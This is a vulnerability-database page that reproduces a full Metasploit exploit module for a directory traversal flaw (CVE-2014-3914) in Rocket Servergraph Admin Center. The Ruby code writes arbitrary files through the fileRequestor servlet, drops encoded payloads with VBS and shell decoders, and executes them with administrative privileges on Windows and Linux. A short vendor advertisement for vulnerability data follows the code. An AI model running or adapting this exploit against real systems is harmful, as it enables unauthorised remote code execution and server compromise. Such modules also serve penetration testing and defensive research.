Lucene search
K

Rocket Servergraph Admin Center fileRequestor Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Rocket Servergraph Admin Center fileRequestor Remote Code Execution. Module abuses directory traversal flaws allowing remote attacker to write arbitrary files and execute commands with administrative privileges

Code

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
      'Description' => %q{
        This module abuses several directory traversal flaws in Rocket Servergraph Admin
        Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
        allowing a remote attacker to write arbitrary files and execute commands with
        administrative privileges. This module has been tested successfully on Rocket
        ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
        12.04 64 bits.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-3914'],
          ['ZDI', '14-161'],
          ['ZDI', '14-162'],
          ['BID', '67779']
        ],
      'Privileged'  => true,
      'Platform'    => %w{ linux unix win },
      'Arch'        => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
      'Payload'     =>
        {
          'Space'       => 8192, # it's writing a file, so just a long enough value
          'DisableNops' => true
          #'BadChars'   => (0x80..0xff).to_a.pack("C*") # Doesn't apply
        },
      'Targets'     =>
        [
          [ 'Linux (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (CMD Payload)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
          [ 'Windows / VB Script',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows CMD',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))

    register_options(
      [
        Opt::RPORT(8888)
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
        OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
        OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
      ], self.class)

  end

  def check
    os = get_os

    if os.nil?
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    os = get_os

    if os == 'win' && target.name =~ /Linux/
      fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
    elsif os == 'linux' && target.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
    elsif os.nil?
      print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
    end

    if target.name =~ /Windows.*VB/
      exploit_windows_vbs
    elsif target.name =~ /Windows.*CMD/
      exploit_windows_cmd
    elsif target.name =~ /Linux.*CMD/
      exploit_linux_cmd
    elsif target.name =~ /Linux.*Native/
      exploit_linux_native
    end
  end

  def exploit_windows_vbs
    traversal = "\\.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('win')
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    vbs = generate_decoder_vbs({
      :temp_dir => "C:#{temp}",
      :encoded_file_name => encoded_file_name,
      :exe_file_name => exe_file_name
    })
    print_status("#{peer} - Dropping the VBS decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)

    register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
    register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
    register_files_for_cleanup("C:#{temp}#{exe_file_name}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
  end


  def exploit_windows_cmd
    traversal = "\\.." * traversal_depth
    execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
  end

  def exploit_linux_native
    traversal = "/.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('linux')
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
    elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"

    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)

    decoder = <<-SH
#!/bin/sh

base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH

    print_status("#{peer} - Dropping the decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)

    register_files_for_cleanup("#{temp}#{decoder_file_name}")
    register_files_for_cleanup("#{temp}#{encoded_file_name}")
    register_files_for_cleanup("#{temp}#{elf_file_name}")

    print_status("#{peer} - Giving execution permissions to the decoder...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")

    print_status("#{peer} - Executing decoder and payload...")
    execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
  end

  def exploit_linux_cmd
    temp = temp_dir('linux')
    elf = rand_text_alpha(4 + rand(4))

    traversal = "/.." * traversal_depth
    print_status("#{peer} - Dropping payload...")
    write_file("#{traversal}#{temp}#{elf}", payload.encoded)
    register_files_for_cleanup("#{temp}#{elf}")
    print_status("#{peer} - Providing execution permissions...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}#{temp}#{elf}")
  end

  def generate_decoder_vbs(opts = {})
    decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")

    f = File.new(decoder_path, "rb")
    decoder = f.read(f.stat.size)
    f.close

    decoder.gsub!(/>>decode_stub/, "")
    decoder.gsub!(/^echo /, "")
    decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
    decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")

    decoder
  end

  def get_os
    os = nil
    path = ""
    hint = rand_text_alpha(3 + rand(4))

    res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")

    if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
      path = $1
    elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
      path = $1
    end

    if path =~ /^\//
      os = 'linux'
    elsif path =~ /^[a-zA-Z]:\\/
      os = 'win'
    end

    os
  end

  def temp_dir(os)
    temp = ""
    case os
    when 'linux'
      temp = linux_temp_dir
    when 'win'
      temp = win_temp_dir
    end

    temp
  end

  def linux_temp_dir
    dir = "/tmp/"

    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end

    unless dir.start_with?("/")
      dir = "/#{dir}"
    end

    unless dir.end_with?("/")
      dir = "#{dir}/"
    end

    dir
  end

  def win_temp_dir
    dir = "\\#{win_dir}\\Temp\\"

    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end

    dir.gsub!(/\//, "\\")
    dir.gsub!(/^([A-Za-z]:)?/, "")

    unless dir.start_with?("\\")
      dir = "\\#{dir}"
    end

    unless dir.end_with?("\\")
      dir = "#{dir}\\"
    end

    dir
  end

  def win_dir
    dir = "WINDOWS"
    if datastore['WINDIR']
      dir = datastore['WINDIR']
      dir.gsub!(/\//, "\\")
      dir.gsub!(/[\\]*$/, "")
      dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
    end

    dir
  end

  def traversal_depth
    depth = 20

    if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
      depth = datastore['TRAVERSAL_DEPTH']
    end

    depth
  end

  def write_file(file_name, contents)
    res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)

    unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
      fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
    end

    res
  end

  def execute(command)
    res = send_request(1, "run", command)

    res
  end

  def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
    data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
    data << "&title=#{rand_text_alpha(rand(4) + 4)}"
    data << "&params=#{rand_text_alpha(rand(4) + 4)}"
    data << "&id=#{rand_text_alpha(rand(4) + 4)}"
    data << "&cmd=#{command}"
    data << "&source=#{source}"
    data << "&query=#{query}"

    res = send_request_cgi(
      {
        'uri'    => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
        'method' => 'POST',
        'data'   => data
      }, timeout)

    res
  end

end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation